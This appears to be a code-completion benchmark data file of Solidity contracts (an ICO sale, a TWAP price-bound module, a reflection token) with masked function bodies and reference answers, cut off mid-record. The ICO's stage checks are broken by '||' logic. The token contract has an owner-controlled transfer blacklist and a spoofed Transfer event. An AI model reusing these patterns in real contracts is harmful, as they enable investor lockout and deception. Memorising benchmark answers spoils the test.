tokens.mul(15).div(64); // 15% token.transferFromICO(promouters, tokensPromo); weisRaised = weisRaised.add(msg.value); } // the issue of tokens in period 3 sales function sale3(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 62 % token.transferFromICO(_investor, tokens); uint256 tokensReserve = tokens.mul(15).div(62); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.mul(4).div(31); // 8 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(15).div(62); // 15% token.transferFromICO(promouters, tokensPromo); weisRaised = weisRaised.add(msg.value); } /******************************************************************************* * Manual Management */ function transferEthFromContract(address _to, uint256 amount) public onlyOwner { _to.transfer(amount); } }
contract MainSale is Ownable { using SafeMath for uint; ERC20 public token; address reserve = 0x611200beabeac749071b30db84d17ec205654463; address promouters = 0x2632d043ac8bbbad07c7dabd326ade3ca4f6b53e; address bounty = 0xff5a1984fade92bfb0e5fd7986186d432545b834; uint256 public constant decimals = 18; uint256 constant dec = 10**decimals; mapping(address=>bool) whitelist; uint256 public startCloseSale = now; // start // 1.07.2018 10:00 UTC uint256 public endCloseSale = 1532987999; // Monday, 30-Jul-18 23:59:59 UTC-2 uint256 public startStage1 = 1532988001; // Tuesday, 31-Jul-18 00:00:01 UTC-2 uint256 public endStage1 = 1533074399; // Tuesday, 31-Jul-18 23:59:59 UTC-2 uint256 public startStage2 = 1533074400; // Wednesday, 01-Aug-18 00:00:00 UTC-2 uint256 public endStage2 = 1533679199; // Tuesday, 07-Aug-18 23:59:59 UTC-2 uint256 public startStage3 = 1533679200; // Wednesday, 08-Aug-18 00:00:00 UTC-2 uint256 public endStage3 = 1535752799; // Friday, 31-Aug-18 23:59:59 UTC-2 uint256 public buyPrice = 920000000000000000; // 0.92 Ether uint256 public ethUSD; uint256 public weisRaised = 0; string public stageNow = "NoSale"; event Authorized(address wlCandidate, uint timestamp); event Revoked(address wlCandidate, uint timestamp); constructor() public {} function setToken (ERC20 _token) public onlyOwner { token = _token; } /******************************************************************************* * Whitelist's section */ function authorize(address wlCandidate) public onlyOwner { require(wlCandidate != address(0x0)); require(!isWhitelisted(wlCandidate)); whitelist[wlCandidate] = true; emit Authorized(wlCandidate, now); } function revoke(address wlCandidate) public onlyOwner { whitelist[wlCandidate] = false; emit Revoked(wlCandidate, now); } function isWhitelisted(address wlCandidate) public view returns(bool) { return whitelist[wlCandidate]; } /******************************************************************************* * Setter's Section */ function setStartCloseSale(uint256 newStartSale) public onlyOwner { startCloseSale = newStartSale; } function setEndCloseSale(uint256 newEndSale) public onlyOwner{ endCloseSale = newEndSale; } function setStartStage1(uint256 newsetStage2) public onlyOwner{ startStage1 = newsetStage2; } function setEndStage1(uint256 newsetStage3) public onlyOwner{ endStage1 = newsetStage3; } function setStartStage2(uint256 newsetStage4) public onlyOwner{ startStage2 = newsetStage4; } function setEndStage2(uint256 newsetStage5) public onlyOwner{ endStage2 = newsetStage5; } function setStartStage3(uint256 newsetStage5) public onlyOwner{ startStage3 = newsetStage5; } function setEndStage3(uint256 newsetStage5) public onlyOwner{ endStage3 = newsetStage5; } function setPrices(uint256 newPrice) public onlyOwner { buyPrice = newPrice; } function setETHUSD(uint256 _ethUSD) public onlyOwner { ethUSD = _ethUSD; } /******************************************************************************* * Payable Section */ function () public payable { require(msg.value >= (1*1e18/ethUSD*100)); if (now >= startCloseSale || now <= endCloseSale) { require(isWhitelisted(msg.sender)); closeSale(msg.sender, msg.value); stageNow = "Close Sale for Whitelist's members"; } else if (now >= startStage1 || now <= endStage1) { sale1(msg.sender, msg.value); stageNow = "Stage 1"; } else if (now >= startStage2 || now <= endStage2) { sale2(msg.sender, msg.value); stageNow = "Stage 2"; } else if (now >= startStage3 || now <= endStage3) { sale3(msg.sender, msg.value); stageNow = "Stage 3"; } else { stageNow = "No Sale"; revert(); } } // issue token in a period of closed sales function closeSale(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 68% uint256 bonusTokens = tokens.mul(30).div(100); // + 30% per stage tokens = tokens.add(bonusTokens); token.transferFromICO(_investor, tokens); weisRaised = weisRaised.add(msg.value); uint256 tokensReserve = tokens.mul(15).div(68); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.div(34); // 2 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(15).div(68); // 15% token.transferFromICO(promouters, tokensPromo); } <FILL_FUNCTION> // the issue of tokens in period 2 sales function sale2(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 64 % uint256 bonusTokens = tokens.mul(5).div(100); // + 5% tokens = tokens.add(bonusTokens); token.transferFromICO(_investor, tokens); uint256 tokensReserve = tokens.mul(15).div(64); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.mul(3).div(32); // 6 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(15).div(64); // 15% token.transferFromICO(promouters, tokensPromo); weisRaised = weisRaised.add(msg.value); } // the issue of tokens in period 3 sales function sale3(address _investor, uint256 _value) internal { uint256 tokens = _value.mul(1e18).div(buyPrice); // 62 % token.transferFromICO(_investor, tokens); uint256 tokensReserve = tokens.mul(15).div(62); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.mul(4).div(31); // 8 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(15).div(62); // 15% token.transferFromICO(promouters, tokensPromo); weisRaised = weisRaised.add(msg.value); } /******************************************************************************* * Manual Management */ function transferEthFromContract(address _to, uint256 amount) public onlyOwner { _to.transfer(amount); } }
uint256 tokens = _value.mul(1e18).div(buyPrice); // 66% uint256 bonusTokens = tokens.mul(10).div(100); // + 10% per stage tokens = tokens.add(bonusTokens); // 66 % token.transferFromICO(_investor, tokens); uint256 tokensReserve = tokens.mul(5).div(22); // 15 % token.transferFromICO(reserve, tokensReserve); uint256 tokensBoynty = tokens.mul(2).div(33); // 4 % token.transferFromICO(bounty, tokensBoynty); uint256 tokensPromo = tokens.mul(5).div(22); // 15% token.transferFromICO(promouters, tokensPromo); weisRaised = weisRaised.add(msg.value);
function sale1(address _investor, uint256 _value) internal
// the issue of tokens in period 1 sales function sale1(address _investor, uint256 _value) internal
670
TWAPBound
bounds
contract TWAPBound is YamSubGoverned { using SafeMath for uint256; uint256 public constant BASE = 10**18; /// @notice For a sale of a specific amount uint256 public sell_amount; /// @notice For a purchase of a specific amount uint256 public purchase_amount; /// @notice Token to be sold address public sell_token; /// @notice Token to be puchased address public purchase_token; /// @notice Current uniswap pair for purchase & sale tokens address public uniswap_pair1; /// @notice Second uniswap pair for if TWAP uses two markets to determine price (for liquidity purposes) address public uniswap_pair2; /// @notice Flag for if purchase token is toke 0 in uniswap pair 2 bool public purchaseTokenIs0; /// @notice Flag for if sale token is token 0 in uniswap pair bool public saleTokenIs0; /// @notice TWAP for first hop uint256 public priceAverageSell; /// @notice TWAP for second hop uint256 public priceAverageBuy; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price; uint256 public priceCumulativeLastSell; /// @notice last TWAP cumulative price for two hop pairs; uint256 public priceCumulativeLastBuy; /// @notice Time between TWAP updates uint256 public period; /// @notice counts number of twaps uint256 public twap_counter; /// @notice Grace period after last twap update for a trade to occur uint256 public grace = 60 * 60; // 1 hour uint256 public constant MAX_BOUND = 10**17; /// @notice % bound away from TWAP price uint256 public twap_bounds; /// @notice denotes a trade as complete bool public complete; bool public isSale; function setup_twap_bound ( address sell_token_, address purchase_token_, uint256 amount_, bool is_sale, uint256 twap_period, uint256 twap_bounds_, address uniswap1, address uniswap2, // if two hop uint256 grace_ // length after twap update that it can occur ) public onlyGovOrSubGov { require(twap_bounds_ <= MAX_BOUND, "slippage too high"); sell_token = sell_token_; purchase_token = purchase_token_; period = twap_period; twap_bounds = twap_bounds_; isSale = is_sale; if (is_sale) { sell_amount = amount_; purchase_amount = 0; } else { purchase_amount = amount_; sell_amount = 0; } complete = false; grace = grace_; reset_twap(uniswap1, uniswap2, sell_token, purchase_token); } function reset_twap( address uniswap1, address uniswap2, address sell_token_, address purchase_token_ ) internal { uniswap_pair1 = uniswap1; uniswap_pair2 = uniswap2; blockTimestampLast = 0; priceCumulativeLastSell = 0; priceCumulativeLastBuy = 0; priceAverageBuy = 0; if (UniswapPair(uniswap1).token0() == sell_token_) { saleTokenIs0 = true; } else { saleTokenIs0 = false; } if (uniswap2 != address(0)) { if (UniswapPair(uniswap2).token0() == purchase_token_) { purchaseTokenIs0 = true; } else { purchaseTokenIs0 = false; } } update_twap(); twap_counter = 0; } function quote( uint256 purchaseAmount, uint256 saleAmount ) public view returns (uint256) { uint256 decs = uint256(ExpandedERC20(sell_token).decimals()); uint256 one = 10**decs; return purchaseAmount.mul(one).div(saleAmount); } function bounds() public view returns (uint256) {<FILL_FUNCTION_BODY> } function bounds_max() public view returns (uint256) { uint256 uniswap_quote = consult(); uint256 maximum = uniswap_quote.mul(BASE.add(twap_bounds)).div(BASE); return maximum; } function withinBounds ( uint256 purchaseAmount, uint256 saleAmount ) internal view returns (bool) { uint256 quoted = quote(purchaseAmount, saleAmount); uint256 minimum = bounds(); uint256 maximum = bounds_max(); return quoted > minimum && quoted < maximum; } function withinBoundsWithQuote ( uint256 quoted ) internal view returns (bool) { uint256 minimum = bounds(); uint256 maximum = bounds_max(); return quoted > minimum && quoted < maximum; } // callable by anyone function update_twap() public { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair1, saleTokenIs0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // ensure that at least one full period has passed since the last update require(timeElapsed >= period, 'OTC: PERIOD_NOT_ELAPSED'); // overflow is desired priceAverageSell = uint256(uint224((sell_token_priceCumulative - priceCumulativeLastSell) / timeElapsed)); priceCumulativeLastSell = sell_token_priceCumulative; if (uniswap_pair2 != address(0)) { // two hop (uint256 buy_token_priceCumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair2, !purchaseTokenIs0); priceAverageBuy = uint256(uint224((buy_token_priceCumulative - priceCumulativeLastBuy) / timeElapsed)); priceCumulativeLastBuy = buy_token_priceCumulative; } twap_counter = twap_counter.add(1); blockTimestampLast = blockTimestamp; } function consult() public view returns (uint256) { if (uniswap_pair2 != address(0)) { // two hop uint256 purchasePrice; uint256 salePrice; uint256 one; if (saleTokenIs0) { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } if (priceAverageSell > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 purchasePrice = (priceAverageSell >> 112) * one; } else { // cant overflow // effectively: (x * 1e18 / 2**112) purchasePrice = (priceAverageSell * one) >> 112; } if (purchaseTokenIs0) { uint8 decs = ExpandedERC20(UniswapPair(uniswap_pair2).token1()).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(UniswapPair(uniswap_pair2).token0()).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } if (priceAverageBuy > uint192(-1)) { salePrice = (priceAverageBuy >> 112) * one; } else { salePrice = (priceAverageBuy * one) >> 112; } return purchasePrice.mul(salePrice).div(one); } else { uint256 one; if (saleTokenIs0) { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } // single hop uint256 purchasePrice; if (priceAverageSell > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 purchasePrice = (priceAverageSell >> 112) * one; } else { // cant overflow // effectively: (x * 1e18 / 2**112) purchasePrice = (priceAverageSell * one) >> 112; } return purchasePrice; } } function recencyCheck() internal returns (bool) { return (block.timestamp - blockTimestampLast < grace) && (twap_counter > 0); } }
contract TWAPBound is YamSubGoverned { using SafeMath for uint256; uint256 public constant BASE = 10**18; /// @notice For a sale of a specific amount uint256 public sell_amount; /// @notice For a purchase of a specific amount uint256 public purchase_amount; /// @notice Token to be sold address public sell_token; /// @notice Token to be puchased address public purchase_token; /// @notice Current uniswap pair for purchase & sale tokens address public uniswap_pair1; /// @notice Second uniswap pair for if TWAP uses two markets to determine price (for liquidity purposes) address public uniswap_pair2; /// @notice Flag for if purchase token is toke 0 in uniswap pair 2 bool public purchaseTokenIs0; /// @notice Flag for if sale token is token 0 in uniswap pair bool public saleTokenIs0; /// @notice TWAP for first hop uint256 public priceAverageSell; /// @notice TWAP for second hop uint256 public priceAverageBuy; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price; uint256 public priceCumulativeLastSell; /// @notice last TWAP cumulative price for two hop pairs; uint256 public priceCumulativeLastBuy; /// @notice Time between TWAP updates uint256 public period; /// @notice counts number of twaps uint256 public twap_counter; /// @notice Grace period after last twap update for a trade to occur uint256 public grace = 60 * 60; // 1 hour uint256 public constant MAX_BOUND = 10**17; /// @notice % bound away from TWAP price uint256 public twap_bounds; /// @notice denotes a trade as complete bool public complete; bool public isSale; function setup_twap_bound ( address sell_token_, address purchase_token_, uint256 amount_, bool is_sale, uint256 twap_period, uint256 twap_bounds_, address uniswap1, address uniswap2, // if two hop uint256 grace_ // length after twap update that it can occur ) public onlyGovOrSubGov { require(twap_bounds_ <= MAX_BOUND, "slippage too high"); sell_token = sell_token_; purchase_token = purchase_token_; period = twap_period; twap_bounds = twap_bounds_; isSale = is_sale; if (is_sale) { sell_amount = amount_; purchase_amount = 0; } else { purchase_amount = amount_; sell_amount = 0; } complete = false; grace = grace_; reset_twap(uniswap1, uniswap2, sell_token, purchase_token); } function reset_twap( address uniswap1, address uniswap2, address sell_token_, address purchase_token_ ) internal { uniswap_pair1 = uniswap1; uniswap_pair2 = uniswap2; blockTimestampLast = 0; priceCumulativeLastSell = 0; priceCumulativeLastBuy = 0; priceAverageBuy = 0; if (UniswapPair(uniswap1).token0() == sell_token_) { saleTokenIs0 = true; } else { saleTokenIs0 = false; } if (uniswap2 != address(0)) { if (UniswapPair(uniswap2).token0() == purchase_token_) { purchaseTokenIs0 = true; } else { purchaseTokenIs0 = false; } } update_twap(); twap_counter = 0; } function quote( uint256 purchaseAmount, uint256 saleAmount ) public view returns (uint256) { uint256 decs = uint256(ExpandedERC20(sell_token).decimals()); uint256 one = 10**decs; return purchaseAmount.mul(one).div(saleAmount); } <FILL_FUNCTION> function bounds_max() public view returns (uint256) { uint256 uniswap_quote = consult(); uint256 maximum = uniswap_quote.mul(BASE.add(twap_bounds)).div(BASE); return maximum; } function withinBounds ( uint256 purchaseAmount, uint256 saleAmount ) internal view returns (bool) { uint256 quoted = quote(purchaseAmount, saleAmount); uint256 minimum = bounds(); uint256 maximum = bounds_max(); return quoted > minimum && quoted < maximum; } function withinBoundsWithQuote ( uint256 quoted ) internal view returns (bool) { uint256 minimum = bounds(); uint256 maximum = bounds_max(); return quoted > minimum && quoted < maximum; } // callable by anyone function update_twap() public { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair1, saleTokenIs0); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // ensure that at least one full period has passed since the last update require(timeElapsed >= period, 'OTC: PERIOD_NOT_ELAPSED'); // overflow is desired priceAverageSell = uint256(uint224((sell_token_priceCumulative - priceCumulativeLastSell) / timeElapsed)); priceCumulativeLastSell = sell_token_priceCumulative; if (uniswap_pair2 != address(0)) { // two hop (uint256 buy_token_priceCumulative, ) = UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair2, !purchaseTokenIs0); priceAverageBuy = uint256(uint224((buy_token_priceCumulative - priceCumulativeLastBuy) / timeElapsed)); priceCumulativeLastBuy = buy_token_priceCumulative; } twap_counter = twap_counter.add(1); blockTimestampLast = blockTimestamp; } function consult() public view returns (uint256) { if (uniswap_pair2 != address(0)) { // two hop uint256 purchasePrice; uint256 salePrice; uint256 one; if (saleTokenIs0) { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } if (priceAverageSell > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 purchasePrice = (priceAverageSell >> 112) * one; } else { // cant overflow // effectively: (x * 1e18 / 2**112) purchasePrice = (priceAverageSell * one) >> 112; } if (purchaseTokenIs0) { uint8 decs = ExpandedERC20(UniswapPair(uniswap_pair2).token1()).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(UniswapPair(uniswap_pair2).token0()).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } if (priceAverageBuy > uint192(-1)) { salePrice = (priceAverageBuy >> 112) * one; } else { salePrice = (priceAverageBuy * one) >> 112; } return purchasePrice.mul(salePrice).div(one); } else { uint256 one; if (saleTokenIs0) { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } else { uint8 decs = ExpandedERC20(sell_token).decimals(); require(decs <= 18, "too many decimals"); one = 10**uint256(decs); } // single hop uint256 purchasePrice; if (priceAverageSell > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 purchasePrice = (priceAverageSell >> 112) * one; } else { // cant overflow // effectively: (x * 1e18 / 2**112) purchasePrice = (priceAverageSell * one) >> 112; } return purchasePrice; } } function recencyCheck() internal returns (bool) { return (block.timestamp - blockTimestampLast < grace) && (twap_counter > 0); } }
uint256 uniswap_quote = consult(); uint256 minimum = uniswap_quote.mul(BASE.sub(twap_bounds)).div(BASE); return minimum;
function bounds() public view returns (uint256)
function bounds() public view returns (uint256)
19744
DontWant
_getCurrentSupply
contract DontWant is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Dont Want"; string private constant _symbol = "DW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1dEe0046e85B2296D93e1af24b1f64Fa815957FE); _feeAddrWallet2 = payable(0x1dEe0046e85B2296D93e1af24b1f64Fa815957FE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) {<FILL_FUNCTION_BODY> } }
contract DontWant is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Dont Want"; string private constant _symbol = "DW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x1dEe0046e85B2296D93e1af24b1f64Fa815957FE); _feeAddrWallet2 = payable(0x1dEe0046e85B2296D93e1af24b1f64Fa815957FE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), 